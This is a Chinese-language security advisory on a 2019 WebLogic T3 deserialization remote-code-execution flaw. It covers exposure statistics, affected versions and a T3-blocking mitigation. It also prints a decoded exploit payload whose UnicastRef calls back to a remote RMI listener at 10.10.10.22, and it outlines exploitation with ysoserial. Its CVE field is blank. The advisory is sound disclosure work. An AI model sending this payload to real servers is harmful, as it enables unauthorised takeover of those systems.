2019年10月,白帽駭客資安網研究監測到互聯網上爆出了Weblogic反序列化遠端命令執行漏洞,攻擊者可利用該漏洞在未經授權下通過構造T3協議請求,繞過Weblogic的反序列化黑名單,從而獲取Weblogic伺服器許可權,風險較大。希望相關用戶採取下方的臨時修復方案進行應急。
概況
Weblogic是Oracle公司出品的基於JavaEE架構的仲介軟體,用於開發、集成、部署和管理大型分散式Web應用、網路應用和資料庫應用。
根據FOFA的資料統計,全球共有26627個開放的weblogic服務。其中美國最多,有8047個開放服務。其次是中國,有5407個開放的weblogic服務。荷蘭排第三,有3584個開放的weblogic服務。伊朗第四,有2351個開放的weblogic服務。日本第五,有780個開放的weblogic服務。
全球範圍內weblogic服務分佈情況(僅為分佈情況,非漏洞影響情況)
國內的weblogic服務分佈如下,北京最多,有3248個服務,廣東有232個服務,上海有213個服務,浙江有200個服務,江蘇有156個服務,台灣有15個服務。
漏洞分析
T3協定在Weblogic控制台開啟的情況下預設開啟,而Weblogic默認安裝自動開啟的控制台,由此攻擊者可利用該漏洞造成遠端代碼執行,從而控制Weblogic伺服器。
利用RMI介面:java.rmi.activation.Acticator,序列化RemoteobjectInvocationHandler,並使用UnicastRef和遠端建立tcp連接,最終將載入的內容利用readobject()進行解析,導致序列化的惡意程式碼執行(以下為最終的payload)。
STREAM_VERSION - 0x00 05
Contents
TC_object - 0x73
TC_PROXYCLASSDESC - 0x7d
newHandle 0x00 7e 00 00
Interface count - 1 - 0x00 00 00 01
proxyInterfaceNames
0:
Length - 29 - 0x00 1d
Value - java.rmi.activation.Activator - 0x6a6176612e726d692e61637469766174696f6e2e416374697661746f72
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 23 - 0x00 17
Value - java.lang.reflect.Proxy - 0x6a6176612e6c616e672e7265666c6563742e50726f7879
serialVersionUID - 0xe1 27 da 20 cc 10 43 cb
newHandle 0x00 7e 00 01
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
object - L - 0x4c
fieldName
Length - 1 - 0x00 01
Value - h - 0x68
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 37 - 0x00 25
Value - Ljava/lang/reflect/InvocationHandler; - 0x4c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
java.lang.reflect.Proxy
values
h
(object)
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 45 - 0x00 2d
Value - java.rmi.server.RemoteobjectInvocationHandler - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572
serialVersionUID - 0x00 00 00 00 00 00 00 02
newHandle 0x00 7e 00 04
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 28 - 0x00 1c
Value - java.rmi.server.Remoteobject - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374
serialVersionUID - 0xd3 61 b4 91 0c 61 33 1e
newHandle 0x00 7e 00 05
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 06
classdata
java.rmi.server.Remoteobject
values
objectAnnotation
TC_BLOCKDATA - 0x77
Length - 55 - 0x37
Contents - 0x000a556e6963617374526566000e31302e31302e31302e3232000000000036590000000001eea90b000000000000000000000000000000
TC_ENDBLOCKDATA - 0x78
java.rmi.server.RemoteobjectInvocationHandler
values
漏洞利用
利用t3協議的缺陷實現遠端方法調用達到執行任意反序列化payload的目的:第一步,監聽rmi介面;第二步,執行反序列化操作。其反序列化內容指向外部的RMI監聽介面,這樣在反序列化的過程中就會從遠端RMI監聽埠載入內容並執行序列化操作,可使用ysoserial工具進行操作。
漏洞影響
目前漏洞影響版本號包括:
Weblogic 12.1.3.0
Weblogic 12.2.1.3
CVE編號
修復建議
一、禁用T3協議
若不依賴T3協議進行JVM通信,可通過暫時阻斷T3協議緩解此漏洞帶來的影響
操作:
1、進入weblogic控制台在base_domain配置頁面中,進入“安全”選項卡頁面,點擊“篩選器”,配置篩選器。
2、在連接篩選器中輸入:weblogic.security.net.ConnectionFilterImpl,在連接篩選器規則框中輸入: 7001 deny t3 t3s
3、保存生效(無需重啟)
4、無法處理可以找esafe白帽駭客幫您做處理。